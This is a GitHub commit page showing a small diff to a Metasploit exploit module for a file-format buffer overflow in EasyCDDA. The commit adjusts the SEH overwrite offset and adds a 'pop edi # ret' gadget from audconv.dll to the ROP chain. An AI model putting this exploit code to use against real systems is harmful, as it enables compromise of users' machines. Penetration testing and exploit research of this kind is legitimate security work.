Skip to content

Commit 9845970

Browse files
committed
Use pop#ret to jump over the overwritten seh
1 parent 11513d9 commit 9845970

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/exploits/windows/fileformat/easycdda_pls_bof.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ def initialize(info = {})
5454
# easycdda.exe 3.0.114.0
5555
# audconv.dll 7.0.815.0
5656
{
57-
'Offset' => 1112,
57+
'Offset' => 1108,
5858
'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll]
5959
}
6060
]
@@ -105,6 +105,7 @@ def exploit
105105
].flatten.pack('V*')
106106

107107
sploit = rop_nops(target['Offset'] / 4)
108+
sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll]
108109
sploit << [target.ret].pack("V")
109110
sploit << rop_nops(22)
110111
sploit << rop_gadgets

0 commit comments

Comments
 (0)